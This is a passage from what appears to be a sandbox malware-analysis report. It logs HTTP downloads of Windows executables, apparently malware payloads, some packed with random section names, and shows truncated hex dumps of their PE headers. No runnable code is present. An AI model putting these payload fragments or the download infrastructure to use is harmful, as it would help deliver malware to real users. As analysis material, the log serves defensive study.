00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 03:39:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 03:39:23 GMTContent-Type: application/octet-streamContent-Length: 1955840Last-Modified: Sat, 27 Jul 2024 03:09:26 GMTConnection: keep-aliveETag: "66a464e6-1dd800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 40 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4d 00 00 04 00 00 b4 73 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 2d 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 2d 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 79 62 66 63 66 66 76 00 c0 1a 00 00 70 32 00 00 c0 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6d 63 68 69 72 7a 7a 00 10 00 00 00 30 4d 00 00 04 00 00 00 b2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4d 00 00 22 00 00 00 b6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 03:39:25 GMTContent-Type: application/octet-streamContent-Length: 1879552Last-Modified: Sat, 27 Jul 2024 03:10:02 GMTConnection: keep-aliveETag: "66a4650a-1cae00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 f2 5e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 72 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 69 6e 79 6f 62 6a 6e 00 a0 19 00 00 e0 30 00 00 94 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 76 65 6f 71 70 71 75 00 10 00 00 00 80 4a 00 00 04 00 00 00 88 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 